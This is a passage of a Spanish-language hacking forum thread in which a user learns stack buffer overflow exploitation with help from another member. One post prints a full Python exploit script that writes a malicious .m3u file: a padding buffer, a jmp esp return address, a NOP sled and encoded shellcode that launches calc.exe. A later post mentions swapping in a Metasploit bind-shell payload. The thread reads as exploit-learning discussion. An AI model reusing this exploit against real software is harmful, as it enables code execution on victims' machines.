elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Recopilación Tutoriales y Manuales Hacking, Seguridad, Privacidad, Hardware, etc


+  Foro de elhacker.net
|-+  Seguridad Informática
| |-+  Hacking
| | |-+  Bugs y Exploits
| | | |-+  Dudas con Buffer Overflow...
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: 1 [2] Ir Abajo Respuesta Imprimir
Autor Tema: Dudas con Buffer Overflow...  (Leído 8,353 veces)
Ivanchuk


Desconectado Desconectado

Mensajes: 469


LLVM


Ver Perfil WWW
Re: Dudas con Buffer Overflow...
« Respuesta #10 en: 7 Noviembre 2011, 12:33 pm »

ah, pense que te habia funcionado... seguis viendo en eip 0xabababba ?

La sobreescritura del eip debe variar segun el tamano del buffer, o bien el programa mismo te modifica los ultimos bytes, no te queda otra que depurarlo mucho mas.
Proba sino de generar un pattern de por ej. 256 bytes y con offset_pattern sacas el desplazamiento y haces siempre el bof con un buffer de 256 bytes (metiendo el eip donde tiene que ser), asi te evitas al menos el primer factor que te comentaba.
En línea

Sólo quien practica lo absurdo puede lograr lo imposible.

Join us @ http://foro.h-sec.org
RocKHounD

Desconectado Desconectado

Mensajes: 46


Ver Perfil WWW
Re: Dudas con Buffer Overflow...
« Respuesta #11 en: 7 Noviembre 2011, 19:51 pm »

Bueno, te cuento mis avances...

he empezado de nuevo y creo que algo mas entiendo... vamos a ver,

pattern_offset me da 227 pero si meto \x41 * 227 veo en el stack que me quedan un par de filas por rellenar,

en cambio si agrego \x41 * 231 + "\xef\xbe\xad\xde"

si veo que ESP toma el valor 0xdeadbeef mientras que EIP tiene "\x41\x41\x41\x41" como valor...

lo he hecho bien? o EIP tiene que tener como valor 0xdeadbeef...

supongo que tendrá que ser ESP ya que es lo siguiente que se ejecuta en la pila...
 :-\
En línea

RocKHounD

Desconectado Desconectado

Mensajes: 46


Ver Perfil WWW
Re: Dudas con Buffer Overflow...
« Respuesta #12 en: 8 Noviembre 2011, 16:19 pm »

VALE!!!!! Conseguido porfín!!! jajajajaj


Madre mia que locura...

Comento lo que he hecho...

Código:
buffer = "A" * 227 
RET = "\xE1\xFA\xDA\x75"
nops = "\x90" * 26

shellcode = ("\xb8\x20\x65\x02\x44\xdb\xc2\xd9\x74\x24\xf4\x5a\x33\xc9"
"\xb1\x32\x31\x42\x12\x03\x42\x12\x83\xca\x99\xe0\xb1\xf6"
"\x8a\x6c\x39\x06\x4b\x0f\xb3\xe3\x7a\x1d\xa7\x60\x2e\x91"
"\xa3\x24\xc3\x5a\xe1\xdc\x50\x2e\x2e\xd3\xd1\x85\x08\xda"
"\xe2\x2b\x95\xb0\x21\x2d\x69\xca\x75\x8d\x50\x05\x88\xcc"
"\x95\x7b\x63\x9c\x4e\xf0\xd6\x31\xfa\x44\xeb\x30\x2c\xc3"
"\x53\x4b\x49\x13\x27\xe1\x50\x43\x98\x7e\x1a\x7b\x92\xd9"
"\xbb\x7a\x77\x3a\x87\x35\xfc\x89\x73\xc4\xd4\xc3\x7c\xf7"
"\x18\x8f\x42\x38\x95\xd1\x83\xfe\x46\xa4\xff\xfd\xfb\xbf"
"\x3b\x7c\x20\x35\xde\x26\xa3\xed\x3a\xd7\x60\x6b\xc8\xdb"
"\xcd\xff\x96\xff\xd0\x2c\xad\xfb\x59\xd3\x62\x8a\x1a\xf0"
"\xa6\xd7\xf9\x99\xff\xbd\xac\xa6\xe0\x19\x10\x03\x6a\x8b"
"\x45\x35\x31\xc1\x98\xb7\x4f\xac\x9b\xc7\x4f\x9e\xf3\xf6"
"\xc4\x71\x83\x06\x0f\x36\x7b\x4d\x12\x1e\x14\x08\xc6\x23"
"\x79\xab\x3c\x67\x84\x28\xb5\x17\x73\x30\xbc\x12\x3f\xf6"
"\x2c\x6e\x50\x93\x52\xdd\x51\xb6\x30\x80\xc1\x5a\xb7")


payload = (buffer +RET +nops +shellcode)

f = open("Exploit.m3u","wb")
f.write(payload)
f.close()


Y listo, nunca me he alegrado tanto de ver el calc.exe en todo su esplendor...

El jmp esp del kernel32.dll no funcionaba y he usado una de user32.dll

aunque me queda una duda... y es para que sirven los nops realmente...

cuando voy a follow stack veo que desde que he sobreescrito EIP hasta que veo de nuevo lineas "AAAA" pasan 26 líneas, de ahi el "\x90" * 26 de arriba, aunque he probado poniendo 30 y seguía funcionando el exploit.


Acabo de probar a poner otra shellcode y me da error... por lo que entiendo que he superado el espacio disponible para la shellcode... me podéis decir como se calcula ese espacio?

voy a probar a meter un pattern donde iria la shellcode... digo yo que me dirá de cuanto espacio dispongo... no??



Muchas gracias Ivanchuk por todo!

« Última modificación: 8 Noviembre 2011, 16:29 pm por RocKHounD » En línea

Ivanchuk


Desconectado Desconectado

Mensajes: 469


LLVM


Ver Perfil WWW
Re: Dudas con Buffer Overflow...
« Respuesta #13 en: 9 Noviembre 2011, 09:21 am »

Buenisimo!! Un nuevo exploiter en la comunidad :-)

Citar
aunque me queda una duda... y es para que sirven los nops realmente...

cuando voy a follow stack veo que desde que he sobreescrito EIP hasta que veo de nuevo lineas "AAAA" pasan 26 líneas, de ahi el "\x90" * 26 de arriba, aunque he probado poniendo 30 y seguía funcionando el exploit.

Los nops se usan para darle una cierta libertad a la direccion de retorno al stack, en tu caso la direccion es siempre fija (=esp despues del jmp esp en user32) y se encuentra justo despues del ret. Si le sacas los nops deberia seguir funcionando.

Citar
Acabo de probar a poner otra shellcode y me da error... por lo que entiendo que he superado el espacio disponible para la shellcode... me podéis decir como se calcula ese espacio?

voy a probar a meter un pattern donde iria la shellcode... digo yo que me dirá de cuanto espacio dispongo... no??

Me parece raro que hayas superado el espacio reservado para el stack porque vi que probaste con un pattern_create de 1000 bytes y paso sin problemas. El error debe estar en la shellcode que le pusistes. Posteala aca para verla sino.
Meterle un pattern donde iria la shellcode no te va a decir cuanto espacio tenes disponible, imagino que eso lo podes ver en la info del ejecutable (PE), al menos en los elf aparece. Sino mas facil, anda hasta abajo del todo en la sección de stack y fijate donde termina jeje.
En línea

Sólo quien practica lo absurdo puede lograr lo imposible.

Join us @ http://foro.h-sec.org
RocKHounD

Desconectado Desconectado

Mensajes: 46


Ver Perfil WWW
Re: Dudas con Buffer Overflow...
« Respuesta #14 en: 9 Noviembre 2011, 21:23 pm »

Usé una shellcode que saqué con msfpayload, un windows\bind tcp por el puerto 1234

quizás no la generé bien... tengo que seguir probando.
En línea

Páginas: 1 [2] Ir Arriba Respuesta Imprimir 

Ir a:  

Mensajes similares
Asunto Iniciado por Respuestas Vistas Último mensaje
Buffer Overflow en una pagina web
Nivel Web
mordiskos 1 3,423 Último mensaje 9 Marzo 2006, 00:45 am
por ANELKAOS
buffer overflow
Ingeniería Inversa
Meg 2 5,797 Último mensaje 6 Febrero 2009, 11:20 am
por Shaddy
Dudas con Integer Overflow « 1 2 »
Bugs y Exploits
Vaagish 13 8,830 Último mensaje 10 Septiembre 2015, 06:41 am
por Vaagish
MOVIDO: Dudas con Integer Overflow
Ingeniería Inversa
MCKSys Argentina 0 1,711 Último mensaje 10 Septiembre 2015, 04:48 am
por MCKSys Argentina
Deshabilitar proceccion de buffer overflow con gcc
Programación C/C++
nullx100 1 3,334 Último mensaje 30 Abril 2022, 00:00 am
por MCKSys Argentina
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines